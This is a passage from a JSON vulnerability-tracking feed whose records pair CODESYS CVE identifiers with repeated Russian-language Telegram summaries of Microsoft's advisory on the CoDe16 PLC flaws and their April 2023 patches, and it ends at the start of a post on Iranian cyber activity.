\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-27T00:00:59.015714Z"}, {"uuid": "239a285b-fb4d-4dbe-a691-3e4e56f2f25f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47391", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-27T00:00:59.058917Z"}, {"uuid": "ae0ff924-172c-43fc-9176-2fba3d2d775f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47393", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-27T00:00:59.213661Z"}, {"uuid": "2ebe54fb-717f-4a05-a2b1-762b7ba0a57d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/EchelonEyes/1732", "content": "\u041e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430\n\n\u0424\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Sekoia \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0433\u0440\u043e\u0437\u044b, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0432\u0448\u0438\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0430\u043c \u0418\u0440\u0430\u043d \u0431\u044b\u043b \u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0440\u0430\u0436\u0434\u0435\u0431\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 \u0432\u043e\u0437\u043c\u0435\u0437\u0434\u0438\u044f. \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044e \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0418\u0440\u0430\u043d 